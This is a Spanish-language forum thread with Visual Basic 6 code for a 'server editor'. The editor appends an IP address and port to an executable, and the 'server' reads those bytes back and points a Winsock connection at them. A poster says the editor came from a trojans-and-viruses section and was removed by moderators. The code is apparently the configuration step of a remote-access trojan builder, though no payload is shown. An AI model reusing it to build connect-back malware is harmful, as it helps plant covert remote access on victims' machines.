hola mi problema y mi falta de conocimientos es esto estoy asiendo un editor de server y mi inconveniente es que para este tipo de caso para poder sobreescrivir en el exe lo primero que tenemos que hacer es abrirlo en binario y de alli ir colocando los datos con put siempre al final : ;D
Private Sub Command1_Click()
Dim ip As String * 15 '//igual con la variable que contendra el pass, con capacidad de 20 bytes.
ip = Text1.Text
Open "C:\descargas\MIS PROGRAMAS\editor de server\1.exe" For Binary As #1 '//abrimos el archivo en forma binaria.
Seek (1), LOF(1) + 1 'nos vamos al final del archivo
Put #1, , ip '//colocamos el contenido de las variables
Close #1 '//cerramos el archivo.
(http://img384.imageshack.us/img384/8333/dibujo7un.jpg)
MY PROBLEMA ES COMO AGO PARA QUE EL ARCHIVO AL QUE ESCRIBIMOS LOS DATOS AL FINAL LO PONGA EN EL TEXBOX.
lei por alli que se hace abriendo el archivo en binario y de alli tomas los datos que se encontraban al final del mismo y de ally lo colocas en un texbox a travez de una variable.
Espero que mas o menos este en lo correpto y que alguien pueda darme una mano BIEN EXPLICAD
Un salub y gracias a todos ;D :rolleyes: :) :P ;) :D ;D ;D
gracias igual a todos por no responder pero ya pude aprender como aherlo y si alguien quiere que se lo enseñe que lo postee aqui y se lo enseño ;D ;D ;D ;D ;D :shocked: :) :-\ ;)
A mi me sirve la info. podes postearla?
Saludos
Cita de: M@rT1n en 21 Enero 2006, 18:57 PM
A mi me sirve la info. podes postearla?
Saludos
Private Sub Form_Load()
Dim a As String * 20
Dim b As String * 5
a = Text1.Text
b = Text2.Text
End Sub
Private Sub Image2_Click()
On Error GoTo hacer
Image3.Visible = True
Dim a As String * 20
Dim b As String * 5
a = Text1.Text
b = Text2.Text
cd.Filter = "Todos los archivos |*.*"
cd.ShowOpen
Open cd.FileName For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , a
Put #1, , b
Close #1
MsgBox "Su servidor ya fue creado con EXITO"
hacer:
Select Case Err.Number
Case 75
MsgBox "Has cancelado para abrir el archivo"
End Select
End Sub
eso en el edito
y en el server
Dim a As String * 20
Dim b As String * 5
Dim ap As String
Dim bp As String
Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
Seek (1), LOF(1) - 24
Get #1, , a
Get #1, , b
Close #1
ap = Trim(a)
bp = Trim(b)
Text1.Text = ap
Text2.Text = bp
On Error Resume Next
ip = Text1.Text
ipftp = Text1.Text
port = Text2.Text
ws.RemoteHost = ip
ws.RemotePort = port
Gracias, a mi tambien me viene bien :P
De nada amigos ;D ;D ;D
yo ya lo abia puesto el editor de server en troyanos y virus con unos ejemplos de troyanos pero creo que solo estuvo un dia y los moderadores lo quitaron pero bueno ellos son los que ponen las reglas o sino miren lo que seria de esto no.
Gracias